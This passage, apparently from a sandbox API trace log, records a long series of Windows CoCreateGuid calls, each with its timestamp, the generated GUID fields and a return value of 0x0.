Data3=0x4144, Data4=([0]=0xbe, [1]=0xb1, [2]=0xfa, [3]=0x70, [4]=0x93, [5]=0x36, [6]=0xda, [7]=0x3a))) returned 0x0 [0081.016] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x74d507f0, Data2=0xa82e, Data3=0x4351, Data4=([0]=0x83, [1]=0x7a, [2]=0x36, [3]=0x2, [4]=0xc5, [5]=0x16, [6]=0xda, [7]=0x7c))) returned 0x0 [0081.050] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x936c8819, Data2=0x4cb9, Data3=0x446b, Data4=([0]=0xb3, [1]=0x63, [2]=0xa, [3]=0xa0, [4]=0x2c, [5]=0x2b, [6]=0x43, [7]=0xd2))) returned 0x0 [0081.053] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xbabd0e63, Data2=0x8e19, Data3=0x4b90, Data4=([0]=0xb5, [1]=0x3c, [2]=0x7f, [3]=0xf8, [4]=0xbd, [5]=0x79, [6]=0xc8, [7]=0x1e))) returned 0x0 [0081.054] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x760a12a9, Data2=0xa2fe, Data3=0x4c99, Data4=([0]=0x93, [1]=0x7c, [2]=0x9d, [3]=0x21, [4]=0xf7, [5]=0xe9, [6]=0xeb, [7]=0xb2))) returned 0x0 [0081.055] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x5d3d5c5a, Data2=0xf592, Data3=0x497d, Data4=([0]=0xaa, [1]=0xb5, [2]=0x37, [3]=0xd8, [4]=0xfc, [5]=0xdf, [6]=0x48, [7]=0xb9))) returned 0x0 [0081.055] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x53e8c78b, Data2=0x1aba, Data3=0x4660, Data4=([0]=0x9c, [1]=0xc5, [2]=0x57, [3]=0x36, [4]=0xef, [5]=0xaa, [6]=0x94, [7]=0x92))) returned 0x0 [0081.056] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xb77ce63, Data2=0x1ac4, Data3=0x4b7e, Data4=([0]=0x81, [1]=0xee, [2]=0xc4, [3]=0x78, [4]=0x4b, [5]=0xfe, [6]=0x82, [7]=0xf))) returned 0x0 [0081.056] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe970094e, Data2=0x70ef, Data3=0x48c4, Data4=([0]=0x98, [1]=0xbb, [2]=0xb1, [3]=0xf3, [4]=0xb1, [5]=0x53, [6]=0x1b, [7]=0x55))) returned 0x0 [0081.057] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x1c09e085, Data2=0x5331, Data3=0x41a2, Data4=([0]=0xb3, [1]=0xe5, [2]=0xac, [3]=0x1c, [4]=0x93, [5]=0x6b, [6]=0x77, [7]=0x48))) returned 0x0 [0081.058] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x2483ad48, Data2=0xf350, Data3=0x4eee, Data4=([0]=0xa7, [1]=0x79, [2]=0x9a, [3]=0x8a, [4]=0x1f, [5]=0x59, [6]=0x93, [7]=0x78))) returned 0x0 [0081.058] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x63f9107b, Data2=0x10cb, Data3=0x414b, Data4=([0]=0x9f, [1]=0xeb, [2]=0x3f, [3]=0x95, [4]=0xa2, [5]=0x84, [6]=0x6c, [7]=0x1e))) returned 0x0 [0081.059] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xd54e6ac2, Data2=0x395e, Data3=0x4b61, Data4=([0]=0x96, [1]=0x48, [2]=0xe6, [3]=0x46, [4]=0x97, [5]=0x27, [6]=0xc4, [7]=0xde))) returned 0x0 [0081.060] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xa9f06606, Data2=0x1f67, Data3=0x499c, Data4=([0]=0x8e, [1]=0x70, [2]=0x86, [3]=0x1c, [4]=0xfb, [5]=0xd3, [6]=0x1a, [7]=0x84))) returned 0x0 [0081.061] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x125f1f43, Data2=0x5182, Data3=0x4125, Data4=([0]=0xbc, [1]=0x1f, [2]=0xd3, [3]=0x59, [4]=0x82, [5]=0xe2, [6]=0x7a, [7]=0xb8))) returned 0x0 [0081.061] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x3441a1b9, Data2=0xc434, Data3=0x4530, Data4=([0]=0xb2, [1]=0xa5, [2]=0x7c, [3]=0x4e, [4]=0x6, [5]=0x73, [6]=0x51, [7]=0x87))) returned 0x0 [0081.061] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xde60a6a9, Data2=0xf66b, Data3=0x4f8e, Data4=([0]=0xa1, [1]=0x17, [2]=0x60, [3]=0x7d, [4]=0x12, [5]=0xb2, [6]=0x44, [7]=0x1d))) returned 0x0 [0081.062] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x3b395609, Data2=0x416e, Data3=0x409c, Data4=([0]=0x8f, [1]=0x7a, [2]=0x42, [3]=0x26, [4]=0x75, [5]=0x21, [6]=0x36, [7]=0xea))) returned 0x0 [0081.062] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x7d2d6bba, Data2=0x15e6, Data3=0x4fc0, Data4=([0]=0xba, [1]=0x7f, [2]=0x95, [3]=0x7e, [4]=0xb4, [5]=0x5f, [6]=0xbd, [7]=0x1f))) returned 0x0 [0081.108] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xad1d032e, Data2=0xbb2a, Data3=0x4271, Data4=([0]=0xb7, [1]=0x1a, [2]=0x58, [3]=0xd8, [4]=0x50, [5]=0x22, [6]=0x68, [7]=0x2b))) returned 0x0 [0081.113] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x68503d78, Data2=0xd53c, Data3=0x48dd, Data4=([0]=0xab, [1]=0xba, [2]=0xe6, [3]=0x46, [4]=0x4a, [5]=0x1d, [6]=0x21, [7]=0x59))) returned 0x0 [0081.118] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe359d533, Data2=0xc84e, Data3=0x4dbc, Data4=([0]=0x85, [1]=0xc1, [2]=0x55, [3]=0xd2, [4]=0x1b, [5]=0x6e, [6]=0xd4, [7]=0xc))) returned 0x0 [0081.122] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x6973772b, Data2=0xc416, Data3=0x4b90, Data4=([0]=0x81, [1]=0xa4, [2]=0x6a, [3]=0x13, [4]=0xbe, [5]=0xa9, [6]=0xc2, [7]=0x15))) returned 0x0 [0081.122] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xf90c59ab, Data2=0x8b33, Data3=0x4711, Data4=([0]=0x8c, [1]=0x86, [2]=0x7, [3]=0xf8, [4]=0x63, [5]=0x6f, [6]=0xa7, [7]=0x6a))) returned 0x0 [0081.124] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x1e319eb3, Data2=0x6770, Data3=0x404f, Data4=([0]=0x9c, [1]=0x6f, [2]=0xc9, [3]=0x9, [4]=0xd7, [5]=0xa0, [6]=0xee, [7]=0x38))) returned 0x0 [0081.125] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x36162309, Data2=0x445, Data3=0x4090, Data4=([0]=0xac, [1]=0x92, [2]=0xd6, [3]=0xd4, [4]=0xa6, [5]=0x72, [6]=0x8e, [7]=0xdf))) returned 0x0 [0081.126] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x49d63887, Data2=0xfe48, Data3=0x417e, Data4=([0]=0x87, [1]=0x6f, [2]=0xab, [3]=0xc5, [4]=0x0, [5]=0x2a, [6]=0x95, [7]=0x13))) returned 0x0 [0081.127] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xca87f96e, Data2=0x859b, Data3=0x4f24, Data4=([0]=0x86, [1]=0xc6, [2]=0x4f, [3]=0xa3, [4]=0xe, [5]=0xe4, [6]=0xfd, [7]=0x27))) returned 0x0 [0081.128] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x356d220d, Data2=0x28cb, Data3=0x4d41, Data4=([0]=0xa2, [1]=0x7e, [2]=0x80, [3]=0x50, [4]=0x8d, [5]=0x51, [6]=0x83, [7]=0x42))) returned 0x0 [0081.138] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x8d29fe5c, Data2=0xa4b2, Data3=0x4674, Data4=([0]=0x94, [1]=0x72, [2]=0x27, [3]=0x7f, [4]=0xbb, [5]=0x8c, [6]=0xa0, [7]=0xf4))) returned 0x0 [0081.139] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xb994dde5, Data2=0xdfaa, Data3=0x4015, Data4=([0]=0xbd, [1]=0x99, [2]=0xa9, [3]=0x45, [4]=0x92, [5]=0xa4, [6]=0xd2, [7]=0x7f))) returned 0x0 [0081.139] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xce5e23eb, Data2=0x7a8, Data3=0x4f7a, Data4=([0]=0xb6, [1]=0x82, [2]=0x0, [3]=0x54, [4]=0x57, [5]=0xdc, [6]=0xa3, [7]=0x36))) returned 0x0 [0081.140] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x941b350b, Data2=0xaef, Data3=0x4196, Data4=([0]=0xb8, [1]=0xb0, [2]=0x27, [3]=0xf0, [4]=0x3b, [5]=0x2d, [6]=0xe2, [7]=0x24))) returned 0x0 [0081.140] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xb08a5c4b, Data2=0xfe3b, Data3=0x4eb6, Data4=([0]=0x90, [1]=0x7b, [2]=0xa8, [3]=0xe1, [4]=0x89, [5]=0x2e, [6]=0xae, [7]=0xfb))) returned 0x0 [0081.141] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x83bc9932, Data2=0x83ce, Data3=0x47fd, Data4=([0]=0x91, [1]=0xf9, [2]=0x11, [3]=0x73, [4]=0x5c, [5]=0xb5, [6]=0x62, [7]=0xc2))) returned 0x0 [0081.142] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x6a942f27, Data2=0x77a8, Data3=0x466f, Data4=([0]=0x9e, [1]=0x27, [2]=0x31, [3]=0x96, [4]=0x7c, [5]=0x87, [6]=0x7c, [7]=0x53))) returned 0x0 [0081.142] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x48ca475f, Data2=0x3d7f, Data3=0x47fa, Data4=([0]=0xa6, [1]=0xdf, [2]=0xef, [3]=0xbc, [4]=0x6e, [5]=0x4, [6]=0x52, [7]=0xe5))) returned 0x0 [0081.143] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xf5453916, Data2=0xe47c, Data3=0x4779, Data4=([0]=0xae, [1]=0x94, [2]=0xfc, [3]=0x34, [4]=0x66, [5]=0xf5, [6]=0x52, [7]=0x3b))) returned 0x0 [0081.143] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xd677924c, Data2=0x115e, Data3=0x42ee, Data4=([0]=0xb1, [1]=0x51, [2]=0xec, [3]=0x43, [4]=0xfc, [5]=0xe, [6]=0xe8, [7]=0x75))) returned 0x0 [0081.145] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x34c4c5dd, Data2=0x67c2, Data3=0x4c88, Data4=([0]=0x9a, [1]=0x3f, [2]=0xc5, [3]=0x7a, [4]=0xfa, [5]=0x7c, [6]=0x1a, [7]=0x2b))) returned 0x0 [0081.146] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x62cc447c, Data2=0xf338, Data3=0x4a81, Data4=([0]=0xa1, [1]=0xaa, [2]=0xb6, [3]=0x22, [4]=0xe, [5]=0x56, [6]=0x54, [7]=0x17))) returned 0x0 [0081.146] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x8596b7d5, Data2=0x1a2b, Data3=0x48f5, Data4=([0]=0xba, [1]=0x6, [2]=0x7a, [3]=0xa1, [4]=0x82, [5]=0x53, [6]=0x5f, [7]=0xf4))) returned 0x0 [0081.147] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x4d031b2f, Data2=0xc9bc, Data3=0x4244, Data4=([0]=0x97, [1]=0x6a, [2]=0x25, [3]=0xea, [4]=0x9d, [5]=0x89, [6]=0x62, [7]=0x85))) returned 0x0 [0081.147] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x6d811cbb, Data2=0xec55, Data3=0x4eb3, Data4=([0]=0xb7, [1]=0xb1, [2]=0xdc, [3]=0x5a, [4]=0x21, [5]=0x7f, [6]=0x9e, [7]=0x8a))) returned 0x0 [0081.149] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x4b79b081, Data2=0x2b05, Data3=0x4e06, Data4=([0]=0x9a, [1]=0x3e, [2]=0x25, [3]=0x58, [4]=0xdd, [5]=0x21, [6]=0x5e, [7]=0xe4))) returned 0x0 [0081.150] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xd3fe9d9b, Data2=0x50f9, Data3=0x469c, Data4=([0]=0x90, [1]=0x73, [2]=0x43, [3]=0x6, [4]=0xac, [5]=0xa, [6]=0x93, [7]=0xf9))) returned 0x0 [0081.151] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x1eee9e14, Data2=0x5678, Data3=0x4d65, Data4=([0]=0xb5, [1]=0x39, [2]=0xaa, [3]=0x93, [4]=0xf0, [5]=0xf2, [6]=0x32, [7]=0x1b))) returned 0x0 [0081.152] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe001b2ea, Data2=0xc257, Data3=0x43e5, Data4=([0]=0x83, [1]=0x59, [2]=0xd1, [3]=0xdf, [4]=0xe6, [5]=0xe4, [6]=0x86, [7]=0x8d))) returned 0x0 [0081.153] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe4340ae4, Data2=0xeba7, Data3=0x4621, Data4=([0]=0xb2, [1]=0xd6, [2]=0xe7, [3]=0xa8, [4]=0x4e, [5]=0x7d, [6]=0xda, [7]=0x6f))) returned 0x0 [0081.154] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x6fe44641, Data2=0xea47, Data3=0x427f, Data4=([0]=0xb6, [1]=0xaf, [2]=0xa1, [3]=0xc4, [4]=0x7b, [5]=0xc3, [6]=0x10, [7]=0xeb))) returned 0x0 [0081.154] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xae0973c8, Data2=0x429a, Data3=0x41e3, Data4=([0]=0xa8, [1]=0x47, [2]=0x78, [3]=0x77, [4]=0x92, [5]=0x8, [6]=0x7d, [7]=0xf))) returned 0x0 [0081.155] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x4d31c0ec, Data2=0xb5cc, Data3=0x4bc5, Data4=([0]=0xb8, [1]=0xab, [2]=0x75, [3]=0x5e, [4]=0xb9, [5]=0x2, [6]=0xb4, [7]=0x1a))) returned 0x0 [0081.155] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x9bfbf87c, Data2=0x8426, Data3=0x4494, Data4=([0]=0xad, [1]=0x5b, [2]=0x31, [3]=0x4b, [4]=0x2c, [5]=0x44, [6]=0xb7, [7]=0xcf))) returned 0x0 [0081.156] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe3790f85, Data2=0x292e, Data3=0x4bd6, Data4=([0]=0x89, [1]=0xed, [2]=0xdd, [3]=0xa4, [4]=0x2d, [5]=0x7e, [6]=0x44, [7]=0x31))) returned 0x0 [0081.157] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x5fb9e313, Data2=0xc555, Data3=0x4bf0, Data4=([0]=0xac, [1]=0x59, [2]=0x5b, [3]=0x8c, [4]=0xc9, [5]=0xea, [6]=0x8f, [7]=0x81))) returned 0x0 [0081.157] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xb4d3cb6, Data2=0x6915, Data3=0x45c2, Data4=([0]=0xaf, [1]=0x2e, [2]=0x93, [3]=0x8, [4]=0x64, [5]=0x48, [6]=0x9a, [7]=0xa3))) returned 0x0 [0081.158] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x803b07aa, Data2=0xf6af, Data3=0x43c9, Data4=([0]=0xa5, [1]=0x6f, [2]=0xd3, [3]=0x1c, [4]=0x6a, [5]=0xd2, [6]=0xe6, [7]=0x9))) returned 0x0 [0081.158] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x5b455561, Data2=0xee24, Data3=0x4a44, Data4=([0]=0xab, [1]=0xe7, [2]=0xf7, [3]=0x3f, [4]=0x9f, [5]=0x57, [6]=0x66, [7]=0x3d))) returned 0x0 [0081.158] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe9d46ce9, Data2=0x64f, Data3=0x4c1e, Data4=([0]=0xa9, [1]=0xcb, [2]=0x97, [3]=0xb, [4]=0x5f, [5]=0x29, [6]=0xa4, [7]=0xe0))) returned 0x0 [0081.159] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe4faf6e0, Data2=0x89d, Data3=0x412c, Data4=([0]=0xa5, [1]=0x8f, [2]=0xdb, [3]=0x4d, [4]=0xac, [5]=0xd4, [6]=0xc4, [7]=0x48))) returned 0x0 [0081.159] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x7053c418, Data2=0xdfdd, Data3=0x4545, Data4=([0]=0xa3, [1]=0x6, [2]=0x96, [3]=0x45, [4]=0x97, [5]=0xab, [6]=0xdf, [7]=0xfa))) returned 0x0 [0081.160] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x9772775a, Data2=0xb254, Data3=0x4f39, Data4=([0]=0xa3, [1]=0x75, [2]=0xa8, [3]=0xae, [4]=0xa4, [5]=0xb, [6]=0x59, [7]=0x84))) returned 0x0 [0081.160] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe0f27a50, Data2=0xff34, Data3=0x49d7, Data4=([0]=0x8c, [1]=0xcb, [2]=0x16, [3]=0xf9, [4]=0xa6, [5]=0xe4, [6]=0xce, [7]=0x66))) returned 0x0 [0081.160] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xed08aec6, Data2=0x3cac, Data3=0x401f, Data4=([0]=0x97, [1]=0x7, [2]=0x65, [3]=0x35, [4]=0x7c, [5]=0xf, [6]=0x6e, [7]=0xa5))) returned 0x0 [0081.160] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x3a97d403, Data2=0xc09d, Data3=0x4021, Data4=([0]=0xbb, [1]=0x3f, [2]=0x43, [3]=0x4d, [4]=0x8d, [5]=0xc5, [6]=0xd, [7]=0x1d))) returned 0x0 [0081.161] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x1e32a40, Data2=0x48a7, Data3=0x4020, Data4=([0]=0xbb, [1]=0x61, [2]=0xae, [3]=0x1e, [4]=0x75, [5]=0xf0, [6]=0x54, [7]=0xda))) returned 0x0 [0081.161] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x95c31668, Data2=0x9544, Data3=0x4aa5, Data4=([0]=0xa1, [1]=0xea, [2]=0xb0, [3]=0x9e, [4]=0xbb, [5]=0x27, [6]=0x69, [7]=0x61))) returned 0x0 [0081.161] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x7ef2d114, Data2=0x1b63, Data3=0x4bd9, Data4=([0]=0xbb, [1]=0x1f, [2]=0x17, [3]=0x2c, [4]=0x1e, [5]=0x7, [6]=0x72, [7]=0xd))) returned 0x0 [0081.162] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xd00195eb, Data2=0x9eaf, Data3=0x4a83, Data4=([0]=0xa8, [1]=0xd3, [2]=0xd6, [3]=0x67, [4]=0xd6, [5]=0xfc, [6]=0x25, [7]=0x8f))) returned 0x0 [0081.162] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x2658d715, Data2=0xd9ad, Data3=0x4207, Data4=([0]=0xb2, [1]=0xb3, [2]=0x84, [3]=0x95, [4]=0x2e, [5]=0x6a, [6]=0x6a, [7]=0x26))) returned 0x0 [0081.162] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x5d859043, Data2=0xbf66, Data3=0x49b2, Data4=([0]=0xbe, [1]=0xf1, [2]=0x7d, [3]=0xa, [4]=0x7f, [5]=0x8, [6]=0x8e, [7]=0x95))) returned 0x0 [0081.163] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x1a06d3f, Data2=0x1708, Data3=0x409a, Data4=([0]=0xb0, [1]=0x42, [2]=0x8, [3]=0x7, [4]=0xf0, [5]=0xbb, [6]=0x22, [7]=0xfe))) returned 0x0 [0081.163] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x440089e, Data2=0xe4a2, Data3=0x4e99, Data4=([0]=0x95, [1]=0xc9, [2]=0x16, [3]=0x7b, [4]=0xf9, [5]=0x4e, [6]=0x8f, [7]=0xb4))) returned 0x0 [0081.163] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x5d49ab6b, Data2=0x8cc7, Data3=0x418c, Data4=([0]=0x87, [1]=0xaf, [2]=0xd8, [3]=0xf0, [4]=0xfb, [5]=0xd2, [6]=0x50, [7]=0xb7))) returned 0x0 [0081.164] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x4443d5ff, Data2=0xf0ef, Data3=0x430a, Data4=([0]=0x8a, [1]=0x26, [2]=0xc8, [3]=0x37, [4]=0xd7, [5]=0x66, [6]=0x3a, [7]=0xd4))) returned 0x0 [0081.164] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x95ce38f4, Data2=0x34d1, Data3=0x4e05, Data4=([0]=0xa4, [1]=0xd1, [2]=0x62, [3]=0x92, [4]=0xd9, [5]=0xb6, [6]=0x8a, [7]=0x55))) returned 0x0 [0081.164] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xe8b73ef9, Data2=0x9157, Data3=0x46af, Data4=([0]=0x8b, [1]=0x68, [2]=0x29, [3]=0x11, [4]=0x50, [5]=0xd0, [6]=0xa7, [7]=0xeb))) returned 0x0 [0081.164] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x97ad0820, Data2=0xd69f, Data3=0x458b, Data4=([0]=0x98, [1]=0xa8, [2]=0xbe, [3]=0x1d, [4]=0x12, [5]=0x51, [6]=0xae, [7]=0xf9))) returned 0x0 [0081.165] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xa76c936e, Data2=0xdc96, Data3=0x453e, Data4=([0]=0x83, [1]=0xe6, [2]=0xf6, [3]=0xba, [4]=0x8c, [5]=0x18, [6]=0x1b, [7]=0x52))) returned 0x0 [0081.165] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x388f915b, Data2=0x93f8, Data3=0x46f7, Data4=([0]=0x9e, [1]=0x22, [2]=0x3b, [3]=0x82, [4]=0xfd, [5]=0x68, [6]=0xf9, [7]=0xcf))) returned 0x0 [0081.166] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xf18f84eb, Data2=0xa4e0, Data3=0x47bf, Data4=([0]=0x94, [1]=0x81, [2]=0x10, [3]=0x71, [4]=0xc6, [5]=0x9c, [6]=0xee, [7]=0x2c))) returned 0x0 [0081.166] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x450e3caf, Data2=0xe258, Data3=0x4bf4, Data4=([0]=0x96, [1]=0x87, [2]=0x1b, [3]=0x7e, [4]=0x34, [5]=0xcf, [6]=0x3, [7]=0xc1))) returned 0x0 [0081.166] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x78495c31, Data2=0x6a35, Data3=0x444c, Data4=([0]=0x8e, [1]=0x0, [2]=0x43, [3]=0x41, [4]=0x15, [5]=0xe, [6]=0x8, [7]=0xaa))) returned 0x0 [0081.166] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x7f367f86, Data2=0x8f58, Data3=0x4366, Data4=([0]=0x8e, [1]=0x1a, [2]=0xce, [3]=0x48, [4]=0xd8, [5]=0x59, [6]=0x9c, [7]=0xa8))) returned 0x0 [0081.166] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x9d0daa44, Data2=0x27b2, Data3=0x445e, Data4=([0]=0x87, [1]=0x6d, [2]=0x7e, [3]=0x67, [4]=0xc5, [5]=0x83, [6]=0x6a, [7]=0x1a))) returned 0x0 [0081.167] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x28f04593, Data2=0x1fa9, Data3=0x48aa, Data4=([0]=0x8f, [1]=0x30, [2]=0x12, [3]=0xaa, [4]=0xbf, [5]=0xfd, [6]=0x33, [7]=0xb9))) returned 0x0 [0081.167] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xa04a6268, Data2=0xa299, Data3=0x4b97, Data4=([0]=0xaa, [1]=0x66, [2]=0xc4, [3]=0x75, [4]=0xd6, [5]=0x49, [6]=0x6a, [7]=0x73))) returned 0x0 [0081.167] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x37104544, Data2=0x3a1, Data3=0x499e, Data4=([0]=0x92, [1]=0x54, [2]=0x2b, [3]=0xf1, [4]=0x15, [5]=0x89, [6]=0xc5, [7]=0x2e))) returned 0x0 [0081.167] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xbe0b194f, Data2=0x6ae, Data3=0x4373, Data4=([0]=0x9e, [1]=0x27, [2]=0x48, [3]=0x34, [4]=0xf2, [5]=0x83, [6]=0xab, [7]=0xb8))) returned 0x0 [0081.167] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xbc033270, Data2=0x4cf5, Data3=0x4004, Data4=([0]=0xac, [1]=0xe6, [2]=0xf, [3]=0x51, [4]=0xaa, [5]=0x34, [6]=0xae, [7]=0xb))) returned 0x0 [0081.167] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xb8be713c, Data2=0x53b1, Data3=0x4a85, Data4=([0]=0xa7, [1]=0xb4, [2]=0xfe, [3]=0x83, [4]=0x49, [5]=0xeb, [6]=0x92, [7]=0x24))) returned 0x0 [0081.168] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xa4796d5f, Data2=0x519a, Data3=0x4a36, Data4=([0]=0x82, [1]=0xc1, [2]=0x53, [3]=0x90, [4]=0xd1, [5]=0x34, [6]=0x5e, [7]=0x1b))) returned 0x0 [0081.168] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0xf5684398, Data2=0xd7b1, Data3=0x455b, Data4=([0]=0x8e, [1]=0x9, [2]=0xaf, [3]=0x43, [4]=0x93, [5]=0x4b, [6]=0x98, [7]=0x4a))) returned 0x0 [0081.169] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x8e9090b2, Data2=0x18bf, Data3=0x401c, Data4=([0]=0x97, [1]=0xd5, [2]=0x6d, [3]=0xd7, [4]=0xf7, [5]=0x25, [6]=0x33, [7]=0xbc))) returned 0x0 [0081.169] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x472a5b23, Data2=0x3379, Data3=0x4f1d, Data4=([0]=0xba, [1]=0x99, [2]=0xdc, [3]=0x2b, [4]=0x3d, [5]=0xa0, [6]=0x1b, [7]=0x2b))) returned 0x0 [0081.169] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x1f77f695, Data2=0x93c2, Data3=0x4fe7, Data4=([0]=0x96, [1]=0xd4, [2]=0x2a, [3]=0xf3, [4]=0x9d, [5]=0xfe, [6]=0x78, [7]=0x1c))) returned 0x0 [0081.169] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x2555b1ee, Data2=0x13f2, Data3=0x405b, Data4=([0]=0x99, [1]=0x3a, [2]=0xd, [3]=0x32, [4]=0x8, [5]=0xb8, [6]=0x4e, [7]=0xd9))) returned 0x0 [0081.170] CoCreateGuid (in: pguid=0x74df084 | out: pguid=0x74df084*(Data1=0x310bfdfb, Data2=0x9de4, Data3=0x446d, Data4=([0]=0x8c, [1]=0x13, [2]=0x42, [3]=0x55, [4]=0xd9, [5]=0x2, [6]=0x3b, [7]=0x35))) returned 0x0 [0081.170] CoCreateGuid (in: pguid=0x74df084 | out: 